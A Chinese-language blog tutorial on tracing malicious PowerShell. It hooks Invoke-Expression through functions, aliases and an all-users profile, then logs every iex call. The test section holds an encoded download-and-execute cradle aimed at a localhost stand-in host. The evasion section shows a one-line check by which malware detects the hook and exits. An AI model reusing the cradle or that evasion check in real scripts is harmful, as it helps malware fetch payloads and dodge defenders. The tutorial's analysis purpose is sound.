由于各种所谓无文件攻击的盛行,PowerShell样本分析是当前攻击威胁追踪的重要一环。
PowerShell并没有类似windbg这种适合于分析的调试器,尤其在各种-enc XXX命令下,把代码保存成PS1一层层解码解压再放到ISE里面调试是件相当恼火的事情。
本篇讲一个很简单的命令Hook方式,虽然没什么技术可言,但胜在有效。后续可能会再有两三篇同系列文章,看懒癌的发作程度而定。
0x01 原理
PowerShell中的命令其实分为四部分,分别是:别名(Alias)、函数(Function)、命令(Cmdlet)、本机Windows程序(外部命令)四部分。
我们可以通过执行help about_Command_Precedence(或参考msdn),可以看到默认的调用顺序:
如果不指定路径,Windows PowerShell 将按以下优先级顺序运行命令: 1. Alias 2. Function 3. Cmdlet 4. 本机 Windows 命令
随后的具体示例中,则说明了遇到重名时的处理方式:
因此,如果键入“help”,则 Windows PowerShell 先查找名为“help”的别名, 然后查找名为“Help”的函数,最后查找名为“Help”的 cmdlet。 它将运行最先找到的“help-”项。 例如,假定有一个名为 Get-Map 的函数,又添加或导入了一个名为 Get-Map 的 cmdlet,则在键入“Get-Map”时 Windows PowerShell 默认将运行该函数。
从中可以看出,优先级依次为:别名、函数、命令,最后是程序。同时,只有找到的第一项会被执行。
所以,我们可以创建自己的函数或者别名,来达到Hook任何Cmdlet的目的。
0x02 实现
既然同名函数会覆盖Cmdlet,那么写一个最简单的函数进行测试,目标当然是利用最为广泛的iex。
iex为Invoke-Expression Cmdlet的别名,所以有以下函数:
function Invoke-Expression{$args|%{$_;}}
执行前后的结果如图所示:
当然,可能有很多函数或Cmdlet需要Hook,此时可以定义一个通用函数,并使用别名:
function zcg_test_hook{$args|%{'[hook]'+$_;}} Set-Alias invoke-expression zcg_test_hook Set-Alias new-object zcg_test_hook
这种方式的缺点是不能知道从哪个别名调用了函数,实际使用时需要根据情况进行取舍。
0x03 优化
在实际的分析中,恶意脚本很可能多次嵌套调用iex,例如下载一个脚本iex执行,脚本内部又有一块压缩或加密的内容同样要通过iex。
我们当然不可能手动去调用这么多次,但iex已经被Hook,该怎样去调用到原始的函数或Cmdlet?
依然是参考msdn,在about_Command_Precedence的Running hidden commands一节提到,可以使用限定名称来调用因同名而被隐藏的Cmdlet。限定名称可以近似理解为Cmdlet的命名空间,默认情况下,是定义Cmdlet的.net模块名称。
我们可以使用Get-Command命令来查询一个Cmdlet所在模块:
(Get-Command Invoke-Expression).ModuleName
可以看到,定义iex的模块为Microsoft.PowerShell.Utility。尝试以下调用:
Microsoft.PowerShell.Utility\Invoke-Expression 'Write-Host zcgonvh'
则会发现代码成功执行。
此时,我们可以得到修改后的Hook函数:
function Invoke-Expression{$args|%{'[hook]'+$_;};Microsoft.PowerShell.Utility\Invoke-Expression ($args -join ' ');}
这种方式与通用函数设置别名是冲突的,同样需要进行取舍。
0x04 配置
在实际分析时,绝大部分恶意的PowerShell会通过-enc参数传递要执行的命令。我们不可能把命令手动解码保存,之后通过已经配置Hook的PowerShell手动执行,这样做是非常繁琐的。
那么是否存在一种方式,使得PowerShell在启动时先执行一段自己的命令呢?答案是有的,借助PowerShell Profile功能就可以达到这个效果。
同样的,我们可以通过执行help about_profilesProfile(或参考msdn)来查看关于Profile的具体解释。可以看到Profile共分为四种,如下:
Description Path Current user, Current Host $Home\[My]Documents\PowerShell\Microsoft.PowerShell_profile.ps1 Current User, All Hosts $Home\[My]Documents\PowerShell\Profile.ps1 All Users, Current Host $PsHome\Microsoft.PowerShell_profile.ps1 All Users, All Hosts $PsHome\Profile.ps1
(要注意,中文环境下ps的输出将Host(s)翻译为“主机”,实际理解为“宿主”更贴切些。)
我的建议是选用任意的[AllUsers]Profile。原因有相当一部分恶意软件会通过BypassUAC/提权+计划任务/服务的方式将自己提升至SYSTEM,为了避免疏漏需要选择全部用户。
至于宿主,暂时的测试结果是只影响PowerShell.exe和ISE,使用.net库创建的宿主是不受影响的,All Hosts或Current Host都无所谓。
选定了Profile之后,我们要做的就是创建Profile,并在其中添加自己的PowerShell脚本内容。我们需要配置全部用户的Profile,所以要使用管理员权限的PowerShell来进行创建:
New-Item -Type File $Profile.AllUsersAllHosts
Profile的本质是一个ps1脚本,为了使脚本能够正常运行,还需要将本地默认的执行策略修改为Unrestricted:
Set-ExecutionPolicy Unrestricted
最后,我们编辑Profile,并在其中加入自己自定义的脚本即可:
Start-Process $Profile.AllUsersAllHosts -Verb Edit
此时,系统上所有的新启动的PowerShell进程都将加载我们的Profile,并执行其中的Hook代码。
0x05 测试
有了以上的知识基础,搭建一个可用的半自动调试环境显然不难。这里给出一个简单的Profile示例,会将所有的iex记录至c:\log\zcg.test.psiex.[Pid].txt。
$logfile="c:\log\zcg.test.psiex.$pid.txt" New-Item -Type File -force $logfile |out-null "Time: $(Get-Date -format 'yyyy-MM-dd HH:mm:ss')" | Out-File $logfile -Append "Current Process: $((Get-Process -pid $pid).Path)" | Out-File $logfile -Append "Current Process ID: $pid" | Out-File $logfile -Append function Invoke-Expression{$arg=($args -join ' ');"========`n$arg" | Out-File -Append $logfile;Microsoft.PowerShell.Utility\Invoke-Expression $arg;}
模拟一个简单的恶意脚本:
powershell -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABzAHkAcwB0AGUAbQAuAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADIANwAuADAALgAwAC4AMQAvAG0AYQBsAHcAYQByAGUALgBwAHMAMQAnACkA #iex (new-object system.net.webclient).downloadstring('http://127.0.0.1/malware.ps1')
malware.ps1内容为:
$cmd=[text.encoding]::utf8.getstring([convert]::frombase64string('d3JpdGUtaG9zdCAnemNnLm1hbHdhcmUucHMxLnRlc3QnDQpzdGFydC1wcm9jZXNzIGNhbGM=')) #write-host 'zcg.malware.ps1.test' #start-process calc iex $cmd
得到日志记录如下:
Time: 2019-02-23 19:52:31 Current Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Current Process ID: 6956 ======== $cmd=[text.encoding]::utf8.getstring([convert]::frombase64string('d3JpdGUtaG9zdCAnemNnLm1hbHdhcmUucHMxLnRlc3QnDQpzdGFydC1wcm9jZXNzIGNhbGM=')) #write-host 'zcg.malware.ps1.test' #start-process calc iex $cmd ======== write-host 'zcg.malware.ps1.test' start-process calc
0x06 对抗与检测
红蓝对抗是个不断博弈的过程,分析方式在进化,恶意软件也在同时进化。作为一个伪分析人员,抢先一步猜测恶意软件将要使用的技术是非常有必要的。
所以针对某些分析或调试方法,我们有必要进行自省,是否存在恶意软件可以绕过或是进行识别的方式?
毫无疑问,正常环境和调试环境必然有着差别。事先识别出这些可能存在的问题,在很多时候会使未来的分析过程更为顺畅些。
(最不济,还能给攻击者挖坑对不对?)
回归正题,首先,PowerShell提供了不加载Profile的方式,其命令行参数为-NoProfile。
例如0x05中的测试命令,我们加上这个参数,那么一条日志都不会记录。
当然,这并不是很大的问题,只要将命令行从各种工具的日志中复制出来,去掉这个参数即可。
其次,PowerShell提供了Get-Command获取命令信息,例如执行:
Get-Command Invoke-Expression
如图所示,正常情况下只有一个结果,而被Hook之后会存在多个:
所以恶意软件只需要添加以下代码,即可对这种方式进行检测:
if([array](Get-Command Invoke-Expression).length -ne 1){exit;}
最后,恶意软件也可以使用完全限定的Cmdlet(例如Microsoft.PowerShell.Utility\Invoke-Expression)来进行调用,这种方式在脚本层面是无法处理的。
如何避免这些,做到更好的自动化分析?下一篇(或是两篇)文章中将给出一个可行的解决方案。
0x07 参考资料:
msdn-关于Profile: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6
msdn-关于命令优先级: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_command_precedence?view=powershell-6